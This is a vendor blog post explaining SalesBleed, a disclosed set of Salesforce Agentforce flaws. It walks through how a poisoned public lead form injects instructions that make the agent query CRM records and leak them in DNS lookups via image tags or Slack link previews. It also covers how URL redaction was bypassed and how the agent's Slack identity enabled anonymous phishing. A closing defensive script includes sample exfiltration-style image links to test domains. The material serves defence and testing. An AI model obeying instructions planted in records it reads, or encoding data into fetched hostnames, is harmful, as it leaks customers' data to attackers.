Power Your Software Testing with AI Agents and Cloud
The Native AI-Agentic Cloud Platform to Supercharge Quality Engineering. Test Intelligently and Ship Faster.
- TestMu AI (Formerly LambdaTest)
- /
- Blog
- /
- SalesBleed Explained: How Agentforce Leaked CRM Data Through DNS
SalesBleed Explained: How Agentforce Leaked CRM Data Through DNS
Zenity Labs' SalesBleed let a poisoned Salesforce lead make Agentforce leak CRM data over a DNS lookup, no click. How it worked and what Salesforce fixed.
Published on:
An AI agent that reads your CRM will read whatever is in it, including a lead a stranger typed into a public form. That is the opening a set of Salesforce Agentforce flaws called SalesBleed turned into a data breach, without the employee who set it off clicking anything.
On 24 September 2026, Zenity Labs published two write-ups on Agentforce under the SalesBleed name: 0-click data exfiltration and anonymous phishing in Slack. Both start at the same public lead form and end at an attacker's DNS server.
TL;DR
SalesBleed is a set of three vulnerabilities Zenity Labs found in Salesforce Agentforce, disclosed on 24 September 2026. A poisoned Web-to-Lead form could make an Agentforce agent read CRM records and leak them to an attacker's server through a DNS lookup, with no click from the employee who triggered it.
- Did the SalesBleed attack need the victim to click anything? No. The employee only asked the agent a normal question about their leads; the poisoned lead did the rest, and the data left in a DNS lookup before any HTTP request.
- Was SalesBleed only a Salesforce problem? No. Zenity notes any agent that reads externally submitted records, renders links or images back to a user, and holds tool access to sensitive data has the same three ingredients in one place.
- Did SalesBleed affect real Salesforce customers? No. Salesforce said it has no evidence the issue was exploited against any customer, and has fixed all three flaws Zenity reported.
- How can I test my own AI agent for a flaw like SalesBleed? Grade each run on the effects the agent leaves behind, not its own summary. TestMu AI Agent Assurance reports anything it cannot verify as its own verdict instead of a pass.
Zenity's Three Agentforce Findings
Agentforce is Salesforce's platform for building agents that read and act on CRM data. Zenity Labs found three separate ways to abuse one, all reachable from data that arrives from outside the company.
- Zero-click exfiltration through image rendering - the agent prints an image tag whose hostname carries stolen data, and the chat surface loads it automatically.
- Zero-click exfiltration through Slack link previews - for agents published to Slack, the automatic link preview fetches any address in a message, so no image tag is even needed.
- Anonymous phishing through the agent's Slack identity - the agent could post into a thread with no confirmation and no record of who asked it to.
The entry point in every case is a Web-to-Lead form, Salesforce's built-in way to collect leads from a public web page. It is unauthenticated by design, so the attacker never signs in. This is textbook indirect prompt injection, listed as LLM01 in the OWASP Top 10 for LLM Applications: the agent accepts input from an external source that carries hidden instructions, and trusts it on the way in.
How the SalesBleed Attack Worked
The zero-click chain runs in five steps, and only one of them involves a human. The table shows each step, what the agent produced, and where the evidence of it actually lived.
| Step | What happens | Where the evidence lived |
|---|---|---|
| 1. Poisoned lead | An attacker submits a lead through a public Web-to-Lead form with a hidden instruction in one field. | The Leads table, indistinguishable from a real lead. |
| 2. Routine question | An employee asks, "check my latest leads and help me with the newest one." The agent reads the poisoned lead. | The chat prompt, which looked entirely ordinary. |
| 3. Second query | The hidden instruction tells the agent to read the Accounts table with the same Query Records tool it used for the leads. | The tool-call log, if anyone was recording it. |
| 4. Data in a hostname | The agent writes a couple of fields, such as a company name and a deal size, into the subdomain of an attacker-controlled address. | The agent's raw output, before redaction. |
| 5. Automatic fetch | The agent prints the address as an image tag. The chat surface tries to load it, which requires a DNS lookup that carries the data out. | The attacker's nameserver, and nowhere the employee could see. |
Step 3 needed no privilege escalation. The General CRM subagent that ships by default could read both the Leads and the Accounts tables, so the injection asked for access the agent already had. In Zenity's words, "the permissions were already there," and that setup is "defaults, not misconfigurations."
The reader-side lesson matches the pattern in prompt injection testing: untrusted content and sensitive tool access sitting inside one identity is what turns an injection into a breach.
Data Leaves in the DNS Lookup
The data leaves in the name resolution, not in the page load. When the client tries to resolve the crafted hostname, that query walks up the DNS hierarchy until it reaches the attacker's authoritative nameserver, which reads the stolen fields straight out of the subdomain.
That is why the technique is hard to contain, and Zenity states it plainly:
"This means that the HTTP request that follows is essentially irrelevant: it can fail, be blocked, time out, or never happen, since at this point the data has already left."
- It survives egress controls - a firewall that blocks the outbound HTTP call is too late, because the DNS query already carried the data.
- It bleeds slowly but persistently - a single DNS label caps at 63 characters, so each lookup carries a little, but the lead stays in the table and the injection runs again on every review. Zenity's demo walks an entire Accounts table out one record at a time.
- One submission is a durable foothold - the malicious lead does not expire, and an attacker who wants a wider channel can simply submit more leads.
How the Attack Slipped Past Trusted URLs
Salesforce anticipated this class of attack. Trusted URLs is a redaction layer that strips untrusted links out of an agent's response before a user sees it. Zenity got past it with two edge cases in how the filter recognized a URL.
- Unrecognized top-level domain - the filter accepted only a fixed set of TLDs, and the attacker's .fun domain was not among them, so the hostname did not register as a hostname at all.
- Disagreement on where a URL ends - adding curly braces made the filter see a malformed non-URL and leave it alone, while the browser happily tried to load it as an image source.
Zenity's summary of output redaction as a defense is worth keeping: it is "a race between a parser and every renderer downstream of it," and that is a race the parser can sometimes lose. That framing is the through-line of this whole disclosure, and the next two sections show why.
The Slack Phishing Variant
The third flaw lived in the default Slack Knowledge subagent template and its Reply to a Slack Thread action. Most Slack write actions carried two protections, and this one carried neither.
- No confirmation step - the Send a Slack Direct Message action asked before posting, so a user could catch an unexpected message. Reply to a Slack Thread did not ask.
- No invoker attribution - a direct message named the user who triggered it. A thread reply carried only the agent's identity, with nothing pointing back to whoever asked.
Either an insider or the same poisoned lead could make the agent post a phishing link into a busy thread. Zenity describes the result cleanly:
"Everyone in the thread reads this message as being sent from the agent, with nothing in it that points back to the malicious insider who actually sent it."
The URL-redaction bypass carried over here too, and links could be hidden behind benign markdown text, so a phishing link arrived looking legitimate and coming from a system employees already trust.
Salesforce's Fixes and Disclosure Timeline
Zenity reported all three flaws to Salesforce on 1 June, and Salesforce confirmed the reports the next day and shipped fixes over the following months, as reported by The Register. The full attack chain is now closed.
| Date | Milestone |
|---|---|
| 1 June 2026 | Zenity reports all three findings to Salesforce. |
| 2 June 2026 | Salesforce confirms the reports and says it is working on fixes. |
| 19 August 2026 | Zenity confirms the Trusted URLs redaction fix. |
| 20 August 2026 | Zenity confirms the Reply to a Slack Thread action now attributes the invoking user. |
| 21 September 2026 | Confirmation-by-default lands for the Slack action; Zenity confirms and tests all fixes. |
Salesforce told SecurityWeek it has "no evidence at this time that the reported issue was exploited against any customer," and that it updated the default settings for certain Agentforce actions in Slack to require user confirmation before sending messages.
Zenity adds one caveat worth repeating: that confirmation requirement can be turned off again with a single click, which puts the same attack path back within reach for a team that disables it.
The broader point is that none of this is unique to Salesforce. Any agent that reads externally submitted records, renders links or images back to a user, and holds tool access to sensitive data carries the same three ingredients, which is the same lesson from the Gemini security eval incident.
The Evidence the Agent Never Had
There is a second story inside the security story, and it is about evidence. Put the sequence in order: the agent writes its answer, a filter edits that answer, a browser or Slack renders it, a resolver looks up a hostname, and the data reaches the attacker. The agent is present only for the first step.
Zenity found that the redaction "happens after the agent generates output," so the agent "isn't aware that part of the output is even being redacted." Whatever the agent said was written before any of the rest happened, so it could not contain the leak, because the leak had not happened yet.
SecurityWeek captured the sharp end of this: Agentforce "reported that the content had been blocked by the organization's security policies, even though the sensitive CRM data had already been transmitted to the attacker-controlled server." The agent's own account said one thing; the network said another, and the network was right.
Every piece of evidence that mattered sat outside the agent: in the traffic, in the resolver, in the Slack thread where the message landed. That is the working principle behind agent observability, and it leads to a short list of questions worth asking about any agent, none of which the chat transcript can answer:
- Which records did it read, and was that what the task needed?
- What did it write out, such as addresses, messages, or files?
- What happened to that output after it left the agent?
- What did it post, where, and who asked it to?
Austin Siewert
Co-Founder, Steadfast Systems
Discovered @TestMu AI yesterday. Best browser testing tool I've found for my use case. Great pricing model for the limited testing I do 👏
2M+ Devs and QAs rely on TestMu AI
Deliver immersive digital experiences with Next-Generation Mobile Apps and Cross Browser Testing Cloud
How to Test Your Own Agent's Output Path
You do not need Agentforce to inherit this risk. Any agent that emits text a downstream surface will render can leak through the same gap between what a filter accepts and what a renderer fetches. A cheap first check is to parse the agent's output the way the browser will, then compare that against your filter.
The script below scans recorded agent responses for every URL that reaches the surface, an image source, a bare link Slack would preview, or a markdown link. It resolves each hostname with the same WHATWG parser the browser uses, then asks whether a fixed-TLD, strict-RFC filter would have caught it. The sample hostnames use the reserved test domains from RFC 2606 so they never touch a real domain.
// render-parity-check.mjs
// List every URL in an agent response that reaches the rendered surface,
// parse it the way the browser will, and say whether the output filter
// removed it. Exits 1 if any non-allowlisted URL survives.
const ALLOWED_HOSTS = new Set(["crm.example.org"]);
// A filter with the two gaps Zenity described: a fixed TLD list, and strict
// RFC 3986 parsing. Swap in a call to your real output filter.
const KNOWN_TLDS = new Set(["com", "net", "org", "io"]);
const RFC3986_URL = /^https?:\/\/[a-z0-9.-]+(\/[a-z0-9._~%!$&'()*+,;=:@\/-]*)?$/i;
function filterCheck(url) {
const misses = [];
if (!RFC3986_URL.test(url)) misses.push("not RFC 3986");
const tld = url.split("/")[2].split(".").pop().toLowerCase();
if (!KNOWN_TLDS.has(tld)) misses.push(`unknown TLD .${tld}`);
return misses; // empty means the filter recognises and redacts it
}
// img src is fetched on render; a bare URL is fetched by a link preview;
// a markdown link is clickable text
function renderedUrls(response) {
const found = [];
for (const m of response.matchAll(/<img[^>]*\ssrc="([^"]+)"/gi)) found.push(["img src ", m[1]]);
for (const m of response.matchAll(/\]\((https?:\/\/[^\s)]+)\)/g)) found.push(["md link ", m[1]]);
for (const m of response.matchAll(/(?<!["(])https?:\/\/[^\s"<>)]+/g)) found.push(["bare url", m[0]]);
return found;
}
// Recorded agent responses. Hostnames use reserved test domains (RFC 2606).
const responses = [
'Newest lead attached. <img src="https://record-001.collector.test/{e}">',
"Pipeline note: https://record-001.collector.example.com/{e}",
"Please re-verify: [Q3 renewal forecast](https://sso.collector.test/login)",
'<img src="https://tracker.example.com/pixel.gif">',
"Account record: https://crm.example.org/accounts/001",
];
let survived = 0;
for (const response of responses) {
for (const [kind, url] of renderedUrls(response)) {
const host = new URL(url).hostname; // WHATWG parser, as in the browser
const misses = filterCheck(url);
if (ALLOWED_HOSTS.has(host)) console.log(`ok ${kind} ${host}`);
else if (misses.length === 0) console.log(`redacted ${kind} ${host}`);
else {
survived++;
console.log(`SURVIVES ${kind} ${host.padEnd(33)} filter: ${misses.join(", ")}`);
}
}
}
console.log(`${survived} non-allowlisted URL(s) survive the filter`);
process.exit(survived ? 1 : 0);Run against ordinary output, it flags the three addresses the filter misses and the two it does not, and exits non-zero so a pipeline can gate on it:
$ node render-parity-check.mjs
SURVIVES img src record-001.collector.test filter: not RFC 3986, unknown TLD .test
SURVIVES bare url record-001.collector.example.com filter: not RFC 3986
SURVIVES md link sso.collector.test filter: unknown TLD .test
redacted img src tracker.example.com
ok bare url crm.example.org
3 non-allowlisted URL(s) survive the filter
$ echo $?
1The .fun and curly-brace cases from SalesBleed are exactly the rows that survive here: the browser's parser is more forgiving than the filter's, so a hostname the filter dismisses still gets fetched. A check like this belongs before the agent runs, alongside recording the network calls, tool calls, and file writes the agent does not author during the run.
That habit of grading the effect rather than the account is what TestMu AI builds Agent Assurance around. For autonomous agents it invokes the agent for real and grades each criterion against observed evidence, files that changed, artifacts produced, and tool calls checked against the agent's declared tool surface. Anything it cannot establish is reported as Unable to Verify, a third verdict kept out of the pass rate, and the Agent Assurance results and evidence guide states the rule directly: an agent's claim that it sent a message or created a record is not independent proof that it did.
Note: Agent Assurance grades autonomous agents on what they did, and reports what it could not check as its own verdict instead of a pass. Create a free TestMu AI account
Start by Grading the Effect
Add the renderer-parity check to the job that reviews your agent's output, and move any scenario hostname that resolves to a name under the reserved .test domain. Then record the network calls, tool calls, and file writes each run produces, and judge the run on those, not on the summary the agent hands you.
If you build on Salesforce, TestMu AI's Agentforce testing runs adversarial scenarios against your Service and Sales agents, and AI agent testing covers where effect-based grading fits in a wider evaluation program. The agent's account is the weakest evidence you have; every check that matters comes from somewhere else.
Citations
- Zenity Labs, 24 Sep 2026: 0-click data exfiltration
- Zenity Labs, 24 Sep 2026: anonymous phishing in Slack
- Zenity press release via Business Wire, 24 Sep 2026: SalesBleed disclosure
- The Register, Jessica Lyons, 24 Sep 2026: The Register
Author
Vipul Verma is Group Senior Vice President of Engineering at TestMu AI (formerly LambdaTest), where he heads the entire engineering organization that builds KaneAI, HyperExecute, and the broader testing cloud. He brings 15+ years architecting, securing, and scaling large enterprise applications across multiple sites. Before TestMu AI he was India Head at LogicHub, where he built the India R&D site from the first employee to a 30-plus engineering team, and Principal Software Engineer at Sumo Logic, where he was the first engineer in the India office and shipped search-performance and pricing-model initiatives. Earlier he worked on trading platforms at Portware and D. E. Shaw. Vipul holds a B.Tech in Computer Science from IIT Kharagpur.
Reviewer
Mayank Bhola is Co-Founder and Head of Products at TestMu AI (formerly LambdaTest), where he leads the entire product portfolio across KaneAI, Kane CLI, HyperExecute, SmartUI, the Real Device Cloud, Accessibility, and other software testing product lines. As an early Lead Architect he designed and built the company's flagship Tunnel technology from scratch, created the React-based automation platform, and architected the data-intensive pipelines and FAAS services that scale it. He brings more than 10 years of experience in software development and product engineering, with earlier roles as Head of Technology at Juggernaut Books and Senior Software Engineer at PressPlay TV and Zomato. Mayank holds a B.Tech in Computer Engineering from JIIT Noida.
SalesBleed FAQs
Did you find this page helpful?
More Related Blogs
TestMu AI forEnterprise
Get access to solutions built on Enterprise
grade security, privacy, & compliance
- Advanced access controls
- Advanced data retention rules
- Advanced Local Testing
- Premium Support options
- Early access to beta features
- Private Slack Channel
- Unlimited Manual Accessibility DevTools Tests




